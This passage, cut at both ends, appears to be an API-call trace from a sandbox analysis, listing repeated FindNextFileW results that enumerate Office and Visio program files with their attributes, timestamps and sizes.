cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1de33ea, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1de33ea, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe231a70f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfa70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.EXE", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5015594, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x253ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SG.DLL", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5015594, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x54ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.DLL", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x708b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAREPOINTPROVIDER.DLL", cAlternateFileName="SHAREP~1.DLL")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa3658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignalRClient.dll", cAlternateFileName="SIGNAL~1.DLL")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOA.DLL", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca850099, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca850099, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb4af440, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11ec60, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALCONNECTOR.DLL", cAlternateFileName="SOCIAL~1.DLL")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x73ee48, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc080, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOCIALPROVIDER.DLL", cAlternateFileName="SOCIAL~2.DLL")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5015594, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x50cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLUTILS.DLL", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd9c8eec, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd9c8eec, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd9ef125, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x254c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssscreenvvs.dll", cAlternateFileName="SSSCRE~1.DLL")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x397278, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237626b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Controls.Theming.Toolkit.zip", cAlternateFileName="SYSTEM~1.ZIP")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237626b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tec.dll", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="TecProxy.dll", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237626b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62068, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeRuntime.dll", cAlternateFileName="TELLME~1.DLL")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0063153, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x162d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConversionModule.dll", cAlternateFileName="TEXTCO~1.DLL")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x7f63b8, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x1732c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIMESOLN.DLL", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1729263, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1729263, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x18a6a8a, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLIMPT.EXE", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca850099, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca850099, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb4fb945, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmpod.dll", cAlternateFileName="")) returned 1 [0130.346] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1564d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x258fae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uc.dll", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca829e1e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca829e1e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb4d5695, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x162448, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCAddin.dll", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd102c2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf2d2ac8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf49c714, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x920468, dwReserved0=0x0, dwReserved1=0x0, cFileName="UccApi.dll", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13b648, dwReserved0=0x0, dwReserved1=0x0, cFileName="UcMapi.exe", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48a2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ucmp.dll", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834f7581, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x237aeb7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="upe.dll", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cfac8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e070, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x50ade23, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2EXCL.XSL", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x50ade23, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x189d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBS2WORD.XSL", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831b012b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831b012b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x831d63af, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x839e2315, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x44e8517, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x1fca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWMODL.DLL", cAlternateFileName="")) returned 1 [0130.347] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x529dd34, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xec7ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRGR.DLL", cAlternateFileName="")) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4429858, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x198b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.DLL", cAlternateFileName="")) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x7f63b8, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x9012db, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32848, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISDLGU.DLL", cAlternateFileName="")) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x522b72d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x248040, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISICON.EXE", cAlternateFileName="")) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa326fd, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0xa326fd, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0xa326fd, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Content", cAlternateFileName="VISIOC~1")) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1349614, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x14a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0130.349] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x7f63b8, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x81c496, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x622, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.exe.manifest", cAlternateFileName="VISIOE~1.MAN")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.VisualElementsManifest.xml", cAlternateFileName="VISIOV~1.XML")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x525199b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioCustom.propdesc", cAlternateFileName="VISIOC~1.PRO")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7f63b8, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x11cbd0e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x166a9d2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x19ddea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISLIB.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3ecc3a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x50ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISOCX.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6089d0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe7858, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISSHE.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x525199b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xbb048, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISUTILS.DLL", cAlternateFileName="")) returned 1 [0130.350] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, 